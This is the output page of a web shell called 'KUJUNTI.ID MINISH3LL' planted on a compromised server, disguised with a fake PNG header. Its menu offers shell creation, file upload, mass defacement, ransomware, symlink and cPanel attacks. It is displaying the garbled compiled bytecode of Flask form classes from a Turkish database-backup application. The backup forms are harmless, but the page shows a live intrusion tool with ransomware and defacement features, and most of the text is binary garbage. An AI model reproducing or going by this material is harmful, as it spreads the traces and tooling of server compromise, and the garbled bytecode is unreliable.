\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMaster/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMaster/__pycache__/forms.cpython-310.pyc


o

���g8"�@s�ddlmZddlmZmZmZmZmZmZm	Z	m
Z
ddlmZm
Z
mZmZmZmZmZddlmZGdd�de�ZGdd�de�ZGd	d
�d
e�ZGdd�de�ZGd
d�de�ZGdd�de�ZGdd�de�ZdS)�)�	FlaskForm)�StringField�IntegerField�SelectField�
PasswordField�BooleanField�
RadioField�
EmailField�SubmitField)�DataRequired�NumberRange�Optional�Length�Email�ValidationError�EqualTo)�Usercs�eZdZdZede�edd�gd�Zedgd�e�gd�Z	ed	e�ed
d�gd�Z
ede�edd
d�gd�Z
ede�edd�gd�Zede�ed
d�gd�Zede�edd�gd�Zedgd�e�gd�Z�fdd�Z�ZS)�DatabaseConnectionFormz+Form for database connection configuration.uBağlantı Adı�@��max��
validatorsuVeritabanı Tipi))�mysql�MySQL)�mariadb�MariaDB)�
postgresql�
PostgreSQL��choicesr�Sunucu��Port����minr�Kullanıcı Adı�ŞifreuVeritabanı AdıuPostgreSQL Sürümü))�uOtomatik Algıla)�13z
PostgreSQL 13)�14z
PostgreSQL 14)�15z
PostgreSQL 15)�16z
PostgreSQL 16)�17z
PostgreSQL 17cstt|�j|i|��dS)N)�superr�__init__)�self�args�kwargs��	__class__��7/var/www/html/yedekledb24/DatabaseBackupMaster/forms.pyr1szDatabaseConnectionForm.__init__)�__name__�
__module__�__qualname__�__doc__rrr�namer�db_type�hostrr�port�usernamer�password�databaser
�
pg_versionr1�
__classcell__r7r7r5r8rs
�
�	rc@s�eZdZdZede�edd�gd�Zedgd�e�gd�Z	ed	e�ed
d�gd�Z
ede�e
dd
d�gd�Zede�edd�gd�Zede�ed
d�gd�Zede�edd�gd�ZdS)�StorageTargetFormz&Form for storage target configuration.u
Depolama Adırrrz
Depolama Tipi))�smbuSMB/CIFS (Windows Paylaşımı))�nfs�NFS)�ftp�FTP)�sftpzSFTP (SSH File Transfer)rr!r"r#r$r%r&r(r)uYol/Paylaşım�N)r9r:r;r<rrrr=r�storage_typer?rr
rr@rArrB�pathr7r7r7r8rF s
�rFc@s>eZdZdZede�edd�gd�Zede	e�gd�Z
ede	e�gd�Zed	gd
�e�gd�Zede�gd�Z
ed
e�edd�gd�Zeddd�Zedddd�Zedgd�de�gd�Zede	e�gd�Zede�eddd�gd d!�Zed"dd#d�Zed$gd%�d&e�gd�Zed'gd(�d)d*d+�Zed,e�ed-d�gd.d!�Zd/S)0�
BackupJobFormz"Form for backup job configuration.uGörev AdırrruVeritabanı Bağlantısı)�coercerzDepolama HedefiuZamanlama Türü))�dailyuGünlük)�weeklyu	Haftalık)�monthlyuAylık)�customuÖzel Cron İfadesiruZamanlama DeğeriuSaklama Süresi (Gün)r$�r'uEtkinleştirildiT��defaultuYedekleri ŞifreleFuEGPG şifreleme kullanarak yedekleri güvenli bir şekilde şifreleyin�rX�descriptionuŞifreleme Türü))r*uŞifreleme Yok)�	symmetricuSimetrik (Şifre ile))�
asymmetricuAsimetrik (GPG Anahtarı ile)r*�r rXruŞifreleme AnahtarıuŞifreleme Şifresi�r"r&u3Simetrik şifreleme için güçlü bir şifre girin�rrZuYedekleri Sıkıştıru>Disk alanından tasarruf etmek için yedekleri sıkıştırınuSıkıştırma Formatı))�zipz
ZIP (.zip))�gzipz
GZIP (.gz))ztar.gzzTAR.GZ (.tar.gz)r`uYedekleme Yöntemi))�fullzTam Yedekleme (Full Backup))�incrementalu+Artırımlı Yedekleme (Incremental Backup))�differentialz$Fark Yedekleme (Differential Backup)rbuDArtırımlı yedekleme sadece MySQL/MariaDB için desteklenmektedir.)r rXrZu!Yedekleme Aracı Ek ParametreleriiuEPercona XtraBackup veya MariaBackup için ek parametre ve seçeneklerN)r9r:r;r<rrrr=r�int�database_id�
storage_id�
schedule_type�schedule_valuerr�retention_daysr�enabled�encrypt_backupr
�encryption_type�encryption_key_idr�encryption_passphrase�compress_backup�compression_type�
backup_method�xtrabackup_optionsr7r7r7r8rP/sD
��
���
�
�
�rPc@s@eZdZdZede�gd�Zede�gd�Ze	d�Z
ed�ZdS)�	LoginFormzForm for user login.r(rr)u
Beni Hatırlau
Giriş YapN)
r9r:r;r<rrrArrBr�remember_mer
�submitr7r7r7r8rt_srtc@s�eZdZdZede�eddd�gd�Zede�e	�edd	�gd�Z
ed
e�edd�gd�Zed
e�e
ddd�gd�Zeddd�Zed�Zdd�Zdd�ZdS)�RegistrationFormzForm for user registration.r(�rr&rr�xrr)r^rVuŞifreyi TekrarlarBuŞifreler eşleşmiyor.)�messagez
Admin YetkisiFrWu	Kayıt OlcC�(tjj|jd���}|durtd��dS)z-Validate that username doesn't already exist.)rANuJBu kullanıcı adı zaten kullanılıyor. Lütfen farklı bir tane seçin.�r�query�	filter_by�data�firstr)r2rA�userr7r7r8�validate_usernamep��z"RegistrationForm.validate_usernamecCr{)z*Validate that email doesn't already exist.)�emailNuEBu email adresi zaten kullanılıyor. Lütfen farklı bir tane girin.r|)r2r�r�r7r7r8�validate_emailvr�zRegistrationForm.validate_emailN)r9r:r;r<rrrrAr	rr�rrBr�	password2r�is_adminr
rvr�r�r7r7r7r8rwgsrwc@s�eZdZdZede�edd�gd�Zede�edd�gd�Ze	de�edd�gd�Z
ede�e�edd�gd�Z
ed	d
dgde�gd
�Zede�edd�gdd�ZdS)�SmtpSettingsFormz)Form for configuring SMTP email settings.zSMTP Serverr"rrz
SMTP Usernamez
SMTP PasswordzSender EmailzConnection Type)�tlszTLS (Port 587))�sslzSSL (Port 465)r�r]zNotification RecipientsrMzGComma-separated list of email addresses to receive backup notificationsr_N)r9r:r;r<rrr�mail_server�
mail_usernamer�
mail_passwordr	r�mail_default_senderr�mail_connection_type�notification_emailsr7r7r7r8r�}s ��
�r�c@s�eZdZdZede�edd�gd�Zede�e	�edd�gd�Z
edd	d
gde�gd�Zed
gd�de
e�gd�Zede�eddd�gdd�Zedddd�Zed�ZdS)�EncryptionKeyFormz'Form for GPG encryption key management.uAnahtar Adırrrrr"uAnahtar Türü)�RSAuRSA (Önerilen))�DSAr�r�r]uAnahtar Uzunluğu))�1024u$1024 bit (Hızlı, daha az güvenli))�2048u2048 bit (Önerilen))�4096u%4096 bit (Daha güvenli, daha yavaş)r�)r rXrQruŞifre (İsteğe Bağlı)r^r&u;Özel anahtarı korumak için şifre (boş bırakılabilir)r_uÖzel Anahtarı SaklaTuMGPG özel anahtarını sistemde sakla (asimetrik şifreleme için gereklidir)rYuAnahtar OluşturN)r9r:r;r<rrrr=r	rr�r�key_typere�
key_lengthrr
�
passphraser�store_private_keyr
rvr7r7r7r8r��s(��

���r�N)�	flask_wtfr�wtformsrrrrrrr	r
�wtforms.validatorsrrr
rrrr�modelsrrrFrPrtrwr�r�r7r7r7r8�<module>s($0

© KUJUNTI.ID